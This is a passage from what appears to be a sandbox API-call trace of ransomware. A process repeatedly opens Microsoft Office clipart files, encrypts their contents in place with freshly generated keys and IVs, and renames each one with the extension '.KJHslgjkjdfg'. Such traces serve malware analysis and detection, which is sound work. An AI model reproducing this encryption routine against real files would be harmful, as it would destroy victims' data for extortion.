(in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e0) returned 1 [0159.104] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.104] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2e0, lpOverlapped=0x0) returned 1 [0159.104] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.104] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.104] SetEndOfFile (hFile=0x114) returned 1 [0159.107] GetProcessHeap () returned 0x2a0000 [0159.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.107] GetProcessHeap () returned 0x2a0000 [0159.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.kjhslgjkjdfg")) returned 1 [0159.108] CloseHandle (hObject=0x114) returned 1 [0159.108] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0159.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.109] GetProcessHeap () returned 0x2a0000 [0159.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.109] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.109] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.111] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.112] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.112] GetProcessHeap () returned 0x2a0000 [0159.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.112] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.112] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.112] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.112] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.112] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.112] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.112] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.112] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.112] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.113] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x439c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x439c, lpOverlapped=0x0) returned 1 [0159.114] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x43a0, dwBufLen=0x43a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x43a0) returned 1 [0159.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.114] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x43a0, lpOverlapped=0x0) returned 1 [0159.114] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.114] SetEndOfFile (hFile=0x114) returned 1 [0159.117] GetProcessHeap () returned 0x2a0000 [0159.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.117] GetProcessHeap () returned 0x2a0000 [0159.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.kjhslgjkjdfg")) returned 1 [0159.119] CloseHandle (hObject=0x114) returned 1 [0159.119] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0159.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.123] GetProcessHeap () returned 0x2a0000 [0159.123] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.123] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.123] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.123] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.125] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.125] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.125] GetProcessHeap () returned 0x2a0000 [0159.125] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.125] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.125] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.125] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.125] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.126] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.126] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.126] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.126] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.126] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.126] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.126] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f08, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f08, lpOverlapped=0x0) returned 1 [0159.127] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f10, dwBufLen=0x1f10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f10) returned 1 [0159.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.127] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f10, lpOverlapped=0x0) returned 1 [0159.127] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.127] SetEndOfFile (hFile=0x114) returned 1 [0159.130] GetProcessHeap () returned 0x2a0000 [0159.130] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.130] GetProcessHeap () returned 0x2a0000 [0159.130] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.kjhslgjkjdfg")) returned 1 [0159.131] CloseHandle (hObject=0x114) returned 1 [0159.132] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0159.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.132] GetProcessHeap () returned 0x2a0000 [0159.132] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.132] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.133] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0159.135] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.135] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.135] GetProcessHeap () returned 0x2a0000 [0159.135] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.135] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.135] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.135] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.135] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.135] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.135] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.135] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.135] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.135] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.136] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.136] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.136] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2942, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2942, lpOverlapped=0x0) returned 1 [0159.136] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2950, dwBufLen=0x2950 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2950) returned 1 [0159.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.137] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2950, lpOverlapped=0x0) returned 1 [0159.137] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.137] SetEndOfFile (hFile=0x114) returned 1 [0159.140] GetProcessHeap () returned 0x2a0000 [0159.140] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.140] GetProcessHeap () returned 0x2a0000 [0159.140] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.kjhslgjkjdfg")) returned 1 [0159.141] CloseHandle (hObject=0x114) returned 1 [0159.244] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0159.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.246] GetProcessHeap () returned 0x2a0000 [0159.246] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.246] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.246] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.246] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0159.248] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.248] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.248] GetProcessHeap () returned 0x2a0000 [0159.248] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.249] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.249] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.249] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.249] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.249] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.249] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.249] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.249] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.249] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.249] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.249] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.249] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x12ee, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x12ee, lpOverlapped=0x0) returned 1 [0159.250] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12f0, dwBufLen=0x12f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12f0) returned 1 [0159.250] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.251] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x12f0, lpOverlapped=0x0) returned 1 [0159.251] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.251] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x13c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.251] SetEndOfFile (hFile=0x114) returned 1 [0159.253] GetProcessHeap () returned 0x2a0000 [0159.253] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.254] GetProcessHeap () returned 0x2a0000 [0159.254] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft 